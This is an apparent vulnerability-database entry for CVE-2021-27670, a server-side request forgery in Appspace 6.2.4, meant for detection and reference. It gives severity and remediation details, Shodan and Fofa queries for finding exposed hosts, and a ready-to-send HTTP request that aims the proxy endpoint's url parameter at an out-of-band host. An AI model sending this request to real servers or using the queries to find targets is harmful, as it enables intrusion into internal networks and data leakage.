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CVE-2021-27670: Appspace 6.2.4 - Server-Side Request Forgery

TitleAppspace 6.2.4 - Server-Side Request Forgery
Authorritikchaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
RemediationUpgrade to a patched version of Appspace 6.2.4 or apply the necessary security patches provided by the vendor.
CVSS Score9.8
EPSS Score0.92837
CVE IDCVE-2021-27670
CWE IDCWE-918
Shodan Querytitle:"Appspace"http.title:"appspace"
Fofa Querytitle="appspace"
Tags cve cve2021 appspace ssrf vuln

🔍 Vulnerability Description

Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.

🌐 HTTP Request

GET /api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27670.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27670.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A